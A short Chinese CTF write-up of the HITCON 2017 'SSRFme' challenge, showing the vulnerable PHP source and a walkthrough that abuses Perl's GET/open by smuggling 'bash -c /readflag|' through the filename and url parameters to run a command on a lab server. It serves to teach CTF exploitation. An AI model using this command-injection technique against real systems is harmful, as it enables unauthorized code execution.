一天一道ctf 第54天(GET open任意执行漏洞)

[HITCON 2017]SSRFme

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

前半段代码用orange和ip地址的md5编码在sandbox下新建了一个文件夹并且进入到该文件夹下。后来再用GET执行url的参数,这里的GET是Lib for WWW in Perl中的命令,有任意命令执行漏洞。再用filename新建文件夹,并且将GET命令执行的结果放入该文件夹。

ip地址已经显示在源码页面上了,再加上orange用MD5编码得到文件夹名sandbox/5bfd90feef2e64d9ecea7d17eed33d47
读取根目录文件然后将结果存放到文件夹a中,再直接访问

http://40b3989b-1e00-4b28-8ccb-ca5e02739a34.node4.buuoj.cn:81/?url=/&filename=a
http://40b3989b-1e00-4b28-8ccb-ca5e02739a34.node4.buuoj.cn/sandbox/5bfd90feef2e64d9ecea7d17eed33d47/a


可以看到有flag和readflag文件,应该是要执行readflag才能获取到flag。这里用的是open函数的任意代码执行漏洞,我们先新建一个文件?url=&filename=bash -c /readflag|
然后利用open的漏洞执行代码?url=file:bash -c /readflag|&filename=c
再访问http://40b3989b-1e00-4b28-8ccb-ca5e02739a34.node4.buuoj.cn:81/sandbox/5bfd90feef2e64d9ecea7d17eed33d47/c得到flag
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值